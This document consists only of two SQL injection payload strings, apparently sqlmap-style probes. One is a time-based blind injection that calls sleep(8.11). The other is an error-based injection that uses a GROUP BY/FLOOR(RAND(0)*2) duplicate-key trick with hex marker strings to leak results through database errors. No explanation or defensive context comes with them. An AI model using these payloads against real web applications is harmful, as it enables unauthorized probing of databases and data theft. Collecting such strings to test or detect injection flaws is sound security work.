(select(0)from(select(sleep(8.11)))v)/,(SELECT 7767 FROM (SELECT ROW(7767,4841)>(SELECT COUNT(*),CONCAT(0x71717a6b71,(SELECT (ELT(7767=7767,1))),0x717a7a6a71,FLOOR(RAND(0)*2))x FROM (SELECT 4225 UNION SELECT 3039 UNION SELECT 4377 UNION SELECT 3264)a GROUP BY x))s)